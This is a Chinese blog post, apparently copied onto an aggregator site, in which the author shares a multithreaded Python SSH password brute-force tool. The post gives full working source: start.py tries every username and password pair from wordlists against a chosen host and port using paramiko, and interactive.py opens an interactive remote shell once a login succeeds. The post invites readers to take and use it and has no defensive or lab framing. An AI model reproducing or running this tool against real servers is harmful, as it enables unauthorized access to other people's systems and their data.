博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
python——ssh多线程爆破脚本
阅读量:3904 次
发布时间:2019-05-23

本文共 6228 字,大约阅读时间需要 20 分钟。

今天花了一下午写了个爆破ssh的多线程脚本,debug到新闻联播,队大佬来说是个辣鸡脚本,我在这记录一下,如有需要可以拿去用。

可以直接clone我的github:

  • 说明

  • 环境python3.7
  • windows和linux均可运行
  •  爆破程序入口 start.py 
PS F:\SSHBF> python .\start.py -hUsage: Usage start.py -H 
-p
Options: -h, --help show this help message and exit -H TGTHOST target host ip -p TGTPORT target host port --uf=USERNAMES_FILE usernames file, txt is adapted --pf=PASSWORDS_FILE passwords file, txt is adapted --timeout=TIMEOUT set timeout defalut 1

 

  • shell对话依赖于interactive.py
  • 以上两个脚本在同一个文件夹下,并且当进入shell后,会在同文件夹下创建log.txt记录交互日志
  • 用户名字典和密码字典默认路径是同一文件夹下的username_list.txt和username_list.txt
  • 不足点

能力不够,多线程没有应用好

在windows powershell中linux文件显示中有颜色无法显示(linux terminal正常显示),使用root用户体验更好一些

 

  • 代码

  • interactive.py

# -*- coding: utf-8 -*-import socketimport sys# windows does not have termios...try:    import termios    import tty    has_termios = Trueexcept ImportError:    has_termios = Falsedef interactive_shell(chan):    if has_termios:        posix_shell(chan)    else:        windows_shell(chan)def posix_shell(chan):    import select    oldtty = termios.tcgetattr(sys.stdin)    try:        tty.setraw(sys.stdin.fileno())        tty.setcbreak(sys.stdin.fileno())        chan.settimeout(0.0)        while True:            r, w, e = select.select([chan, sys.stdin], [], [])            if chan in r:                try:                    x = chan.recv(1024)                    if len(x) == 0:                        print ('\r\n*** EOF\r\n',)                        break                    sys.stdout.write(x.decode(encoding="utf-8"))                    sys.stdout.flush()                except socket.timeout:                    pass            if sys.stdin in r:                x = sys.stdin.read(1)                if len(x) == 0:                    break                chan.send(x)    finally:        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)# thanks to Mike Looijmans for this codedef windows_shell(chan):    import threading    sys.stdout.write("Line-buffered terminal emulation. Press F6 or ^Z to send EOF.\r\n\r\n")    def writeall(sock):        while True:            data = sock.recv(256)            if not data:                sys.stdout.write('\r\n*** EOF ***\r\n\r\n')                sys.stdout.flush()                break            sys.stdout.write(data.decode())            sys.stdout.flush()    writer = threading.Thread(target=writeall, args=(chan,))    writer.start()    try:        while True:            d = sys.stdin.read(1)            if not d:                break            try:                chan.send(d)            except:                return    except EOFError:        # user hit ^Z or F6        return
  • start.py

# -*- coding: utf-8 -*-import paramikoimport interactiveimport optparsefrom threading import *from time import *import threadingTIMEOUT = 1UNFILE = './username_list.txt'PWFILE = './password_list.txt'usernames = []passwords = []"""重新定义带返回值的线程类"""class MyThread(threading.Thread):    def __init__(self,func,args=()):        super(MyThread,self).__init__()        self.func = func        self.args = args    def run(self):        self.result = self.func(*self.args)    def get_result(self):        try:            return self.result        except Exception:            return None# 锁屏幕 保证一次尝试输出不会错乱 (其实在这个脚本里没有太大必要,在涉及多线程并且多输出的时候效果显著)screenLock = Semaphore(value=1)# 记录日志 (ssh会话日志,非爆破日志)paramiko.util.log_to_file('./log.txt')# 建立ssh连接 返回 paramiko.SSHClient()对象 或者 Nonedef login(Ip, Port, Username, Password, timeout):    try:        screenLock.acquire() # 锁定屏幕        print('[-] try login:', Username, '@', Password)        global ssh        ssh=paramiko.SSHClient()        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())        ssh.connect(Ip,port=Port,username=Username,password=Password,compress=True,timeout=timeout) # normally port = 22        print('[+] password found! ---(username@passowrd) :',Username,'@',Password)        return ssh    except:        ssh.close()    screenLock.release() # 解锁屏幕    return None# 加载密码用户名列表def load(unfile, pwfile):    try:        f = open(unfile,'r')        for un in f.readlines():            un = un[0:-1]   # 切除回车            usernames.append(un)        f = open(pwfile,'r')        for pw in f.readlines():            pw = pw[0:-1]            passwords.append(pw)    except Exception as e:        print(e)# 连接 依赖同文件夹下的interactive.pydef connect(ssh):    #建立交互式shell连接    channel=ssh.invoke_shell()    #建立交互式管道    interactive.interactive_shell(channel)    #关闭连接    channel.close()    ssh.close()    returndef main():    # 命令解析    parser = optparse.OptionParser('Usage %prog '+ '-H 
-p
') parser.add_option('-H', dest='tgtHost', type='string',help='target host ip') parser.add_option('-p', dest='tgtPort', type='int',help='target host port') parser.add_option('--uf', dest='usernames_file', type='string',help='usernames file, txt is adapted') parser.add_option('--pf', dest='passwords_file', type='string',help='passwords file, txt is adapted') parser.add_option('--timeout', dest='timeout', type='int',help='set timeout defalut 1') (options,args) = parser.parse_args() Ip = options.tgtHost Port = options.tgtPort # 如果给定了这两个参数就使用,否则就使用默认值 unfile = UNFILE pwfile = PWFILE timeout = TIMEOUT if options.usernames_file != None: unfile = options.usernames_file if options.passwords_file != None: pwfile = options.passwords_file if options.timeout != None: timeout = options.timeout # 载入用户名和密码列表 load(unfile,pwfile) # 线程爆破 threads = [] # 线程池 ssh = None # 保存线程返回的会话 for Username in usernames: for Password in passwords: t = MyThread(func=login, args=(Ip,Port,Username,Password,timeout)) threads.append(t) # 开启线程 for i in range(len(usernames)*len(passwords)): threads[i].start() threads[i].join() if threads[i].get_result() != None: ssh = threads[i].get_result() break if ssh == None: pass else: ch = input("[+] 是否进入shell?(Y/n)") if ch == 'n': pass else: connect(ssh) print("[-] Done at ",ctime()) returnif __name__ == '__main__': main()

 

参考 

转载地址:http://ljoen.baihongyu.com/

你可能感兴趣的文章
链接另存为怎么总是HTM格式的文件呢?解决办法!
查看>>
【Word 2010】重新开始编号
查看>>
【福听阅读器】为PDF文档添加书签和子书签
查看>>
【mathtype6.7】word2010公式编号
查看>>
【office 2010】word排版之长英文单词自动换行和英文对齐问题
查看>>
solidworks2011 打开后界面消失
查看>>
【VS2010】C++多线程同步与互斥简单运用
查看>>
宏定义中#跟##作用
查看>>
初次使用VS2010基于C++开发项目碰到的问题及解决方法
查看>>
error C2664: “CreateFileW”: 不能将参数 1 从“char *”转换为“LPCWSTR”
查看>>
调试串口通用程序的几种技巧
查看>>
GUI 编辑框中读写矩阵
查看>>
matlab成段注释
查看>>
matlab数据的导入和导出,以matlab工作区workspace为source和destination
查看>>
获取字节数
查看>>
福听阅读器 背景色设置
查看>>
保护眼睛 电脑设置
查看>>
【云端3.4 Beta】云端无法启动,从服务器返回了一个参照
查看>>
解决chrome下用google搜索图片第二页以后不显示的问题
查看>>
将163邮箱的通讯录导入到outlook2010
查看>>